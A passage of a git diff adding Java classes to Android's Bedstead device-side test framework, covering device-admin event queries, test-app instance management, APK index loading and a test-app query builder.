+        return DeviceAdminBugreportSharingDeclinedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminChoosePrivateKeyAliasEvent.DeviceAdminChoosePrivateKeyAliasEventQuery choosePrivateKeyAlias() {
+        return DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminDisabledEvent.DeviceAdminDisabledEventQuery deviceAdminDisabled() {
+        return DeviceAdminDisabledEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminDisableRequestedEvent.DeviceAdminDisableRequestedEventQuery deviceAdminDisableRequested() {
+        return DeviceAdminDisableRequestedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminEnabledEvent.DeviceAdminEnabledEventQuery deviceAdminEnabled() {
+        return DeviceAdminEnabledEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminLockTaskModeEnteringEvent.DeviceAdminLockTaskModeEnteringEventQuery lockTaskModeEntering() {
+        return DeviceAdminLockTaskModeEnteringEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminLockTaskModeExitingEvent.DeviceAdminLockTaskModeExitingEventQuery lockTaskModeExiting() {
+        return DeviceAdminLockTaskModeExitingEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminNetworkLogsAvailableEvent.DeviceAdminNetworkLogsAvailableEventQuery networkLogsAvailable() {
+        return DeviceAdminNetworkLogsAvailableEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminOperationSafetyStateChangedEvent.DeviceAdminOperationSafetyStateChangedEventQuery operationSafetyStateChanged() {
+        return DeviceAdminOperationSafetyStateChangedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminPasswordChangedEvent.DeviceAdminPasswordChangedEventQuery passwordChanged() {
+        return DeviceAdminPasswordChangedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminPasswordExpiringEvent.DeviceAdminPasswordExpiringEventQuery passwordExpiring() {
+        return DeviceAdminPasswordExpiringEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminPasswordFailedEvent.DeviceAdminPasswordFailedEventQuery passwordFailed() {
+        return DeviceAdminPasswordFailedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminPasswordSucceededEvent.DeviceAdminPasswordSucceededEventQuery passwordSucceeded() {
+        return DeviceAdminPasswordSucceededEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminProfileProvisioningCompleteEvent.DeviceAdminProfileProvisioningCompleteEventQuery profileProvisioningComplete() {
+        return DeviceAdminProfileProvisioningCompleteEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminReadyForUserInitializationEvent.DeviceAdminReadyForUserInitializationEventQuery readyForUserInitialization() {
+        return DeviceAdminReadyForUserInitializationEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminSecurityLogsAvailableEvent.DeviceAdminSecurityLogsAvailableEventQuery securityLogsAvailable() {
+        return DeviceAdminSecurityLogsAvailableEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminSystemUpdatePendingEvent.DeviceAdminSystemUpdatePendingEventQuery systemUpdatePending() {
+        return DeviceAdminSystemUpdatePendingEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery transferAffiliatedProfileOwnershipComplete() {
+        return DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminTransferOwnershipCompleteEvent.DeviceAdminTransferOwnershipCompleteEventQuery transferOwnershipComplete() {
+        return DeviceAdminTransferOwnershipCompleteEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminUserAddedEvent.DeviceAdminUserAddedEventQuery userAdded() {
+        return DeviceAdminUserAddedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminUserRemovedEvent.DeviceAdminUserRemovedEventQuery userRemoved() {
+        return DeviceAdminUserRemovedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminUserStartedEvent.DeviceAdminUserStartedEventQuery userStarted() {
+        return DeviceAdminUserStartedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminUserStoppedEvent.DeviceAdminUserStoppedEventQuery userStopped() {
+        return DeviceAdminUserStoppedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+
+    @Override
+    public DeviceAdminUserSwitchedEvent.DeviceAdminUserSwitchedEventQuery userSwitched() {
+        return DeviceAdminUserSwitchedEvent.queryPackage(
+                mTestApp.packageName())
+                .onUser(mTestApp.user());
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
new file mode 100644
index 0000000..68cf755
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
@@ -0,0 +1,399 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.accounts.AccountManager;
+import android.accounts.RemoteAccountManager;
+import android.accounts.RemoteAccountManagerWrapper;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.RemoteDevicePolicyManager;
+import android.app.admin.RemoteDevicePolicyManagerWrapper;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.IntentFilter;
+import android.content.RemoteContext;
+import android.content.RemoteContextWrapper;
+import android.content.pm.CrossProfileApps;
+import android.content.pm.PackageManager;
+import android.content.pm.RemoteCrossProfileApps;
+import android.content.pm.RemoteCrossProfileAppsWrapper;
+import android.content.pm.RemoteLauncherApps;
+import android.content.pm.RemoteLauncherAppsWrapper;
+import android.content.pm.RemotePackageManager;
+import android.content.pm.RemotePackageManagerWrapper;
+import android.net.wifi.RemoteWifiManager;
+import android.net.wifi.RemoteWifiManagerWrapper;
+import android.net.wifi.WifiManager;
+import android.os.HardwarePropertiesManager;
+import android.os.RemoteHardwarePropertiesManager;
+import android.os.RemoteHardwarePropertiesManagerWrapper;
+import android.os.RemoteUserManager;
+import android.os.RemoteUserManagerWrapper;
+import android.os.UserManager;
+import android.security.KeyChain;
+import android.security.RemoteKeyChain;
+import android.security.RemoteKeyChainWrapper;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.ProcessReference;
+import com.android.bedstead.nene.users.UserReference;
+
+import com.google.android.enterprise.connectedapps.ConnectionListener;
+import com.google.android.enterprise.connectedapps.CrossProfileConnector;
+import com.google.android.enterprise.connectedapps.exceptions.UnavailableProfileException;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Objects;
+import java.util.UUID;
+
+import javax.annotation.Nullable;
+
+/**
+ * A reference to a specific instance of a {@link TestApp} on a given user.
+ *
+ * <p>The user may not exist, or the test app may not be installed on the user.
+ */
+public class TestAppInstance implements AutoCloseable, ConnectionListener {
+
+    private final TestApp mTestApp;
+    private final UserReference mUser;
+    private final CrossProfileConnector mConnector;
+    private final Map<IntentFilter, Long> mRegisteredBroadcastReceivers = new HashMap<>();
+    private final ProfileTestAppController mTestAppController;
+    private final TestAppActivities mTestAppActivities;
+    private boolean mKeepAliveManually = false;
+
+    /**
+     * Use {@link TestApp#install} or {@link TestApp#instance} to get an instance of
+     * {@link TestAppInstance}.
+     */
+    public TestAppInstance(TestApp testApp, UserReference user) {
+        if (testApp == null || user == null) {
+            throw new NullPointerException();
+        }
+        mTestApp = testApp;
+        mUser = user;
+        mConnector = CrossProfileConnector.builder(TestApis.context().instrumentedContext())
+                .setBinder(new TestAppBinder(this))
+                .build();
+        mConnector.registerConnectionListener(this);
+        mTestAppController =
+                ProfileTestAppController.create(mConnector);
+        mTestAppActivities = TestAppActivities.create(this);
+    }
+
+    CrossProfileConnector connector() {
+        return mConnector;
+    }
+
+    /**
+     * Access activities on the test app.
+     */
+    public TestAppActivities activities() {
+        return mTestAppActivities;
+    }
+
+    /**
+     * The {@link TestApp} this instance refers to.
+     */
+    public TestApp testApp() {
+        return mTestApp;
+    }
+
+    /**
+     * See {@link TestApp#packageName()}.
+     */
+    public String packageName() {
+       return testApp().packageName();
+    }
+
+    /**
+     * The {@link UserReference} this instance refers to.
+     */
+    public UserReference user() {
+        return mUser;
+    }
+
+    /**
+     * Uninstall the {@link TestApp} from the user referenced by
+     * this {@link TestAppInstance}.
+     */
+    public void uninstall() {
+        mTestApp.uninstall(mUser);
+    }
+
+    /**
+     * Register a {@link BroadcastReceiver} for a given {@link IntentFilter}.
+     *
+     * <p>A new {@link BroadcastReceiver} instance will be created for each {@link IntentFilter}.
+     *
+     * <p>Note that {@link IntentFilter} does not override {@code equals} and one broadcast receiver
+     * will be registered for each instance of {@link IntentFilter} regardless of the content of the
+     * {@link IntentFilter}.
+     *
+     * <p>As registered receivers are only active while the application is open, calling this method
+     * will have the same effect as calling {@link #keepAlive()}.
+     */
+    public void registerReceiver(IntentFilter intentFilter) {
+        if (mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
+            return;
+        }
+
+        long receiverId = UUID.randomUUID().getMostSignificantBits();
+        registerReceiver(intentFilter, receiverId);
+        keepAlive(/* manualKeepAlive= */ false);
+    }
+
+    private void registerReceiver(IntentFilter intentFilter, long receiverId) {
+        try {
+            mConnector.connect();
+            mTestAppController.other().registerReceiver(receiverId, intentFilter);
+            mRegisteredBroadcastReceivers.put(intentFilter, receiverId);
+        } catch (UnavailableProfileException e) {
+            throw new IllegalStateException("Could not connect to test app", e);
+        } finally {
+            mConnector.stopManualConnectionManagement();
+        }
+    }
+
+    /**
+     * Unregister the receiver
+     */
+    public TestAppInstance unregisterReceiver(IntentFilter intentFilter) {
+        if (!mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
+            return this;
+        }
+
+        long receiverId = mRegisteredBroadcastReceivers.remove(intentFilter);
+
+        try {
+            mConnector.connect();
+            mTestAppController.other().unregisterReceiver(receiverId);
+            mRegisteredBroadcastReceivers.put(intentFilter, receiverId);
+        } catch (UnavailableProfileException e) {
+            throw new IllegalStateException("Could not connect to test app", e);
+        } finally {
+            mConnector.stopManualConnectionManagement();
+        }
+
+        if (mRegisteredBroadcastReceivers.isEmpty() && !mKeepAliveManually) {
+            stopKeepAlive();
+        }
+
+        return this;
+    }
+
+    /**
+     * Starts keeping the test app process alive.
+     *
+     * <p>This ensures that it will receive broadcasts using registered broadcast receivers.
+     *
+     * @see {@link #stopKeepAlive()}.
+     */
+    public TestAppInstance keepAlive() {
+        keepAlive(/* manualKeepAlive=*/ true);
+        return this;
+    }
+
+    /**
+     * Starts keep alive mode and marks it as manual so that it won't be automatically ended if
+     * the last broadcast receiver is unregistered.
+     */
+    private void keepAlive(boolean manualKeepAlive) {
+        mKeepAliveManually = manualKeepAlive;
+        try {
+            connector().connect();
+        } catch (UnavailableProfileException e) {
+            throw new IllegalStateException("Could not connect to test app. Is it installed?", e);
+        }
+    }
+
+    /**
+     * Stops keeping the target app alive.
+     *
+     * <p>This will not kill the app immediately. To do that see {@link #stop()}.
+     */
+    public TestAppInstance stopKeepAlive() {
+        mKeepAliveManually = false;
+        connector().stopManualConnectionManagement();
+        return this;
+    }
+
+    // TODO(b/203758521): Restore functionality of killing process
+//    /**
+//     * Immediately force stops the app.
+//     *
+//     * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
+//     */
+//    public TestAppInstance stop() {
+//        stopKeepAlive();
+//
+//        ProcessReference process = mTestApp.pkg().runningProcess(mUser);
+//        if (process != null) {
+//            try {
+//                process.kill();
+//            } catch (NeneException e) {
+//                throw new NeneException("Error killing process... process is " + process(), e);
+//            }
+//        }
+//
+//        return this;
+//    }
+
+    /**
+     * Gets the {@link ProcessReference} of the app, if any.
+     */
+    @Nullable
+    public ProcessReference process() {
+        return mTestApp.pkg().runningProcess(mUser);
+    }
+
+    @Override
+    public void close() {
+        stopKeepAlive();
+        uninstall();
+    }
+
+    @Override
+    public void connectionChanged() {
+        if (mConnector.isConnected()) {
+            // re-register broadcast receivers when re-connected
+            for (Map.Entry<IntentFilter, Long> entry : mRegisteredBroadcastReceivers.entrySet()) {
+                registerReceiver(entry.getKey(), entry.getValue());
+            }
+        }
+    }
+
+    /** Access events related to this test app. */
+    public TestAppEvents events() {
+        return new TestAppEvents(this);
+    }
+
+    /**
+     * Access {@link DevicePolicyManager} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteDevicePolicyManager devicePolicyManager() {
+        return new RemoteDevicePolicyManagerWrapper(mConnector);
+    }
+
+    /**
+     * Access {@link UserManager} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteUserManager userManager() {
+        return new RemoteUserManagerWrapper(mConnector);
+    }
+
+    /**
+     * Access {@link WifiManager} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteWifiManager wifiManager() {
+        return new RemoteWifiManagerWrapper(mConnector);
+    }
+
+    /**
+     * Access {@link HardwarePropertiesManager} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteHardwarePropertiesManager hardwarePropertiesManager() {
+        return new RemoteHardwarePropertiesManagerWrapper(mConnector);
+    }
+
+    /**
+     * Access {@link PackageManager} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemotePackageManager packageManager() {
+        return new RemotePackageManagerWrapper(mConnector);
+    }
+
+    /**
+     * Access {@link CrossProfileApps} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteCrossProfileApps crossProfileApps() {
+        return new RemoteCrossProfileAppsWrapper(mConnector);
+    }
+
+    /**
+     * Access {@link android.content.pm.LauncherApps} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteLauncherApps launcherApps() {
+        return new RemoteLauncherAppsWrapper(mConnector);
+    }
+
+    /**
+     * Access {@link AccountManager} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteAccountManager accountManager() {
+        return new RemoteAccountManagerWrapper(mConnector);
+    }
+
+    /**
+     * Access the application {@link Context} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteContext context() {
+        return new RemoteContextWrapper(mConnector);
+    }
+
+    /**
+     * Access the {@link KeyChain} using this test app.
+     *
+     * <p>Almost all methods are available. Those that are not will be missing from the interface.
+     */
+    public RemoteKeyChain keyChain() {
+        return new RemoteKeyChainWrapper(mConnector);
+    }
+
+    @Override
+    public String toString() {
+        return "TestAppInstance{"
+                + "testApp=" + mTestApp
+                + ", user=" + mUser
+                + ", registeredBroadcastReceivers=" + mRegisteredBroadcastReceivers
+                + ", keepAliveManually=" + mKeepAliveManually
+                + '}';
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (!(o instanceof TestAppInstance)) return false;
+        TestAppInstance that = (TestAppInstance) o;
+        return mTestApp.equals(that.mTestApp) && mUser.equals(that.mUser);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(mTestApp, mUser);
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
new file mode 100644
index 0000000..0ce0d8e
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppProvider.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.content.Context;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/** Entry point to Test App. Used for querying for {@link TestApp} instances. */
+public final class TestAppProvider {
+
+    private static final String TAG = TestAppProvider.class.getSimpleName();
+
+    // Must be instrumentation context to access resources
+    private static final Context sContext = TestApis.context().instrumentationContext();
+
+    private boolean mTestAppsInitialised = false;
+    private final Set<TestAppDetails> mTestApps = new HashSet<>();
+
+    /** Begin a query for a {@link TestApp}. */
+    public TestAppQueryBuilder query() {
+        return new TestAppQueryBuilder(this);
+    }
+
+    /** Get any {@link TestApp}. */
+    public TestApp any() {
+        TestApp testApp = query().get();
+        Log.d(TAG, "any(): returning " + testApp);
+        return testApp;
+    }
+
+    Set<TestAppDetails> testApps() {
+        initTestApps();
+        Log.d(TAG, "testApps(): returning " + mTestApps.size() + " apps (" + mTestApps + ")");
+        return mTestApps;
+    }
+
+    private void initTestApps() {
+        if (mTestAppsInitialised) {
+            return;
+        }
+        mTestAppsInitialised = true;
+
+        int indexId = sContext.getResources().getIdentifier(
+                "raw/index", /* defType= */ null, sContext.getPackageName());
+
+        try (InputStream inputStream = sContext.getResources().openRawResource(indexId)) {
+            TestappProtos.TestAppIndex index = TestappProtos.TestAppIndex.parseFrom(inputStream);
+            for (int i = 0; i < index.getAppsCount(); i++) {
+                loadApk(index.getApps(i));
+            }
+        } catch (IOException e) {
+            throw new RuntimeException("Error loading testapp index", e);
+        }
+    }
+
+    private void loadApk(TestappProtos.AndroidApp app) {
+        TestAppDetails details = new TestAppDetails();
+        details.mApp = app;
+        details.mResourceIdentifier = sContext.getResources().getIdentifier(
+                "raw/" + getApkNameWithoutSuffix(app.getApkName()),
+                /* defType= */ null, sContext.getPackageName());
+
+        for (int i = 0; i < app.getMetadataCount(); i++) {
+            TestappProtos.Metadata metadataEntry = app.getMetadata(i);
+            details.mMetadata.putString(metadataEntry.getName(), metadataEntry.getValue());
+        }
+
+        for (int i = 0; i < app.getPermissionsCount(); i++) {
+            details.mPermissions.add(app.getPermissions(i).getName());
+        }
+
+        for (int i = 0; i < app.getActivitiesCount(); i++) {
+            TestappProtos.Activity activityEntry = app.getActivities(i);
+            details.mActivities.add(ActivityInfo.builder()
+                    .activityClass(activityEntry.getName())
+                    .exported(activityEntry.getExported())
+                    .intentFilters(intentFilterSetFromProtoList(
+                            activityEntry.getIntentFiltersList()))
+                    .build());
+        }
+
+        for (int i = 0; i < app.getServicesCount(); i++) {
+            TestappProtos.Service serviceEntry = app.getServices(i);
+            details.mServices.add(ServiceInfo.builder()
+                    .serviceClass(serviceEntry.getName())
+                    .intentFilters(intentFilterSetFromProtoList(
+                            serviceEntry.getIntentFiltersList()))
+                    .build());
+        }
+
+        mTestApps.add(details);
+    }
+
+    private Set<IntentFilter> intentFilterSetFromProtoList(
+            List<TestappProtos.IntentFilter> list) {
+        Set<IntentFilter> filterInfoSet = new HashSet<>();
+
+        for (TestappProtos.IntentFilter filter : list) {
+            IntentFilter filterInfo = intentFilterFromProto(filter);
+            filterInfoSet.add(filterInfo);
+        }
+
+        return filterInfoSet;
+    }
+
+    private IntentFilter intentFilterFromProto(TestappProtos.IntentFilter filterProto) {
+        IntentFilter filter = new IntentFilter();
+
+        for (String action : filterProto.getActionsList()) {
+            filter.addAction(action);
+        }
+        for (String category : filterProto.getCategoriesList()) {
+            filter.addCategory(category);
+        }
+
+        return filter;
+    }
+
+    private String getApkNameWithoutSuffix(String apkName) {
+        return apkName.split("\\.", 2)[0];
+    }
+
+    void markTestAppUsed(TestAppDetails testApp) {
+        mTestApps.remove(testApp);
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
new file mode 100644
index 0000000..5afc802
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.info.ActivityInfo;
+import com.android.queryable.info.ServiceInfo;
+import com.android.queryable.queries.ActivityQuery;
+import com.android.queryable.queries.BooleanQuery;
+import com.android.queryable.queries.BooleanQueryHelper;
+import com.android.queryable.queries.BundleQuery;
+import com.android.queryable.queries.BundleQueryHelper;
+import com.android.queryable.queries.IntegerQuery;
+import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.queries.ServiceQuery;
+import com.android.queryable.queries.SetQuery;
+import com.android.queryable.queries.SetQueryHelper;
+import com.android.queryable.queries.StringQuery;
+import com.android.queryable.queries.StringQueryHelper;
+
+/** Builder for progressively building {@link TestApp} queries. */
+public final class TestAppQueryBuilder implements Queryable {
+    private final TestAppProvider mProvider;
+
+    StringQueryHelper<TestAppQueryBuilder> mPackageName = new StringQueryHelper<>(this);
+    BundleQueryHelper<TestAppQueryBuilder> mMetadata = new BundleQueryHelper<>(this);
+    IntegerQueryHelper<TestAppQueryBuilder> mMinSdkVersion = new IntegerQueryHelper<>(this);
+    IntegerQueryHelper<TestAppQueryBuilder> mMaxSdkVersion = new IntegerQueryHelper<>(this);
+    IntegerQueryHelper<TestAppQueryBuilder> mTargetSdkVersion = new IntegerQueryHelper<>(this);
+    SetQueryHelper<TestAppQueryBuilder, String, StringQuery<?>> mPermissions =
+            new SetQueryHelper<>(this);
+    BooleanQueryHelper<TestAppQueryBuilder> mTestOnly = new BooleanQueryHelper<>(this);
+    SetQueryHelper<TestAppQueryBuilder, ActivityInfo, ActivityQuery<?>> mActivities =
+            new SetQueryHelper<>(this);
+    SetQueryHelper<TestAppQueryBuilder, ServiceInfo, ServiceQuery<?>> mServices =
+            new SetQueryHelper<>(this);
+    StringQueryHelper<TestAppQueryBuilder> mSharedUserId = new StringQueryHelper<>(this);
+
+    TestAppQueryBuilder(TestAppProvider provider) {
+        if (provider == null) {
+            throw new NullPointerException();
+        }
+        mProvider = provider;
+    }
+
+    /**
+     * Query for a {@link TestApp} with a given package name.
+     *
+     * <p>Only use this filter when you are relying specifically on the package name itself. If you
+     * are relying on features you know the {@link TestApp} with that package name has, query for
+     * those features directly.
+     */
+    public StringQuery<TestAppQueryBuilder> wherePackageName() {
+        return mPackageName;
+    }
+
+    /**
+     * Query for a {@link TestApp} by metadata.
+     */
+    public BundleQuery<TestAppQueryBuilder> whereMetadata() {
+        return mMetadata;
+    }
+
+    /**
+     * Query for a {@link TestApp} by minSdkVersion.
+     */
+    public IntegerQuery<TestAppQueryBuilder> whereMinSdkVersion() {
+        return mMinSdkVersion;
+    }
+
+    /**
+     * Query for a {@link TestApp} by maxSdkVersion.
+     */
+    public IntegerQuery<TestAppQueryBuilder> whereMaxSdkVersion() {
+        return mMaxSdkVersion;
+    }
+
+    /**
+     * Query for a {@link TestApp} by targetSdkVersion.
+     */
+    public IntegerQuery<TestAppQueryBuilder> whereTargetSdkVersion() {
+        return mTargetSdkVersion;
+    }
+
+    /**
+     * Query for a {@link TestApp} by declared permissions.
+     */
+    public SetQuery<TestAppQueryBuilder, String, StringQuery<?>> wherePermissions() {
+        return mPermissions;
+    }
+
+    /**
+     * Query for a {@link TestApp} by the testOnly attribute.
+     */
+    public BooleanQuery<TestAppQueryBuilder> whereTestOnly() {
+        return mTestOnly;
+    }
+
+    /**
+     * Query for a {@link TestApp} by its sharedUserId;
+     */
+    public StringQuery<TestAppQueryBuilder> whereSharedUserId() {
+        return mSharedUserId;
+    }
+
+    /**
+     * Query for a {@link TestApp} by its activities.
+     */
+    public SetQuery<TestAppQueryBuilder, ActivityInfo, ActivityQuery<?>> whereActivities() {
+        return mActivities;
+    }
+
+    /**
+     * Query for a {@link TestApp} by its services.
+     */
+    public SetQuery<TestAppQueryBuilder, ServiceInfo, ServiceQuery<?>> whereServices() {
+        return mServices;
+    }
+
+    /**
+     * Get the {@link TestApp} matching the query.
+     *
+     * @throws NotFoundException if there is no matching @{link TestApp}.
+     */
+    public TestApp get() {
+        // TODO(scottjonathan): Provide instructions on adding the TestApp if the query fails
+        return new TestApp(resolveQuery());
+    }
+
+    private TestAppDetails resolveQuery() {
+        for (TestAppDetails details : mProvider.testApps()) {
+            if (!matches(details)) {
+                continue;
+            }
+
+            mProvider.markTestAppUsed(details);
+            return details;
+        }
+
+        throw new NotFoundException(this);
+    }
+
+    private boolean matches(TestAppDetails details) {
+        if (!StringQueryHelper.matches(mPackageName, details.mApp.getPackageName())) {
+            return false;
+        }
+
+        if (!BundleQueryHelper.matches(mMetadata, details.mMetadata)) {
+            return false;
+        }
+
+        if (!IntegerQueryHelper.matches(
+                mMinSdkVersion, details.mApp.getUsesSdk().getMinSdkVersion())) {
+            return false;
+        }
+
+        if (!IntegerQueryHelper.matches(
+                mMaxSdkVersion, details.mApp.getUsesSdk().getMaxSdkVersion())) {
+            return false;
+        }
+
+        if (!IntegerQueryHelper.matches(
+                mTargetSdkVersion, details.mApp.getUsesSdk().getTargetSdkVersion())) {
+            return false;
+        }
+
+        if (!SetQueryHelper.matches(mActivities, details.mActivities)) {
+            return false;
+        }
+
+        if (!SetQueryHelper.matches(mServices, details.mServices)) {
+            return false;
+        }
+
+        if (!SetQueryHelper.matches(mPermissions, details.mPermissions)) {
+            return false;
+        }
+
+        if (!BooleanQueryHelper.matches(mTestOnly, details.mApp.getTestOnly())) {
+            return false;
+        }
+
+        if (mSharedUserId.isEmpty()) {
+            if (details.sharedUserId() != null) {
+                return false;
+            }
+        } else {
+            if (!StringQueryHelper.matches(mSharedUserId, details.sharedUserId())) {
+                return false;
+            }
+        }
+
+        if (details.mMetadata.getString("testapp-package-query-only", "false")
+                .equals("true")) {
+            if (!mPackageName.isQueryingForExactMatch()) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return "{" + Queryable.joinQueryStrings(
+                mPackageName.describeQuery("packageName"),
+                mMetadata.describeQuery("metadata"),
+                mMinSdkVersion.describeQuery("minSdkVersion"),
+                mMaxSdkVersion.describeQuery("maxSdkVersion"),
+                mTargetSdkVersion.describeQuery("targetSdkVersion"),
+                mActivities.describeQuery("activities"),
+                mServices.describeQuery("services"),
+                mPermissions.describeQuery("permissions"),
+                mSharedUserId.describeQuery("sharedUserId"),
+                mTestOnly.describeQuery("testOnly")
+        ) + "}";
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
similarity index 93%
rename from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
index e3cbd82..6b268dd 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
